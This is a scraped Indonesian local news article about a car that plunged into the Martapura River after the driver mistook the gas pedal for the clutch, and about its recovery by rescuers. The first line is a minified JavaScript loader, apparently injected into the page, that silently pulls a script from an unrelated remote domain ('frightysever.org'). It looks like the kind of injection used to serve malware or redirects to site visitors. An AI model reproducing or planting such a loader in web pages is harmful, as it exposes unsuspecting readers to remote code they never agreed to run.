(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Daihatsu Terios tercebur ke Sungai Martapura di jalan Martapura Lama, Desa Sungai Batang, Kecamatan Martapura Barat, pada Selasa (22/2/2022) sore.
Kasi Damkar, Penyelamatan, dan Evakuasi Dinas Damkar dan Penyelamatan Kabupaten Banjar, Gusti Yudhi menyampaikan, bersama rekanan BPBD dan relawan EBR langsung menuju lokasi untuk melakukan evakuasi.
Menurut Yudhi yang dihubungi kanalkalimantan.com, melalui Staf Seksi Sarpras dan Informasi dari Bidang Pemadam Kebakaran, mobil berwarna silver yang dikemudikan oleh Abdul Rahman ini diketahui ingin melanjutkan perjalanan ke Pengaron usai berkunjung ke rumah keluarga di Martapura Barat.
Pemilik mobil mengaku salah mengira menginjak kopling ternyata menginjak pedal gas mobil. Akibatnya mobil langsung menabrak siring bantaran sungai kemudian mobil tercebur.
Baca juga : Dishub Barsel Ingatkan Awak Kapal Tongkang untuk Tertib Saat Tambat
“Pemilik mobil baru selesai berkunjung ke rumah keluarganya dan ingin melanjutkan perjalanan menuju Pangaron. Saat pengemudi ingin memutar balikan mobilnya, dia mengira menginjak kopling namun ternyata menginjak pedal gas mobil, dan mobil langsung menabrak siring bantaran sungai dan mobil tercebur,” beber Yudhi.
Berangkat dari laporan tersebut, pihaknya langsung berkoordinasi dengan BPBD Kabupaten Banjar dan Emergency Banjar Respon (EBR) untuk melakukan evakuasi mobil tersebut, dengan dibantu warga setempat dan pihak Kepolisian Sektor Martapura Barat.
“Tiba di lokasi petugas dibantu relawan dan warga setempat dengan memasang memasang tali pengaman dan 2 buah kayu ulin sebagai tuas pengungkit,” ungkap Yudhi.
Selang hampir satu jam, petugas Damkar bersama relawan gabungan lainnya berhasil menarik mobil Daihatsu Terios berwarna silver itu keluar dari sungai Martapura, dengan ditarik menggunakan Unit Winch milik EBR.
Baca juga : Luhut: Indonesia Tidak Perlu Latah Berlakukan Segera Transisi Pandemi ke Endemi
“Penarikan menggunakan winch unit EBR dan BPBD dibantu tuas kayu ulin sebagai pengungkit berhasil dilakukan evakuasi,” tutur Yudhi.
Lebih jauh, Yudhi menambahkan, akibat insiden ini, mesin mobil turut terendam dan bagian as roda belakang mengalami bengkok akibat penarikan saat proses evakuasi. Beruntung, tak ada korban jiwa dalam insiden ini. (kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
This website uses cookies.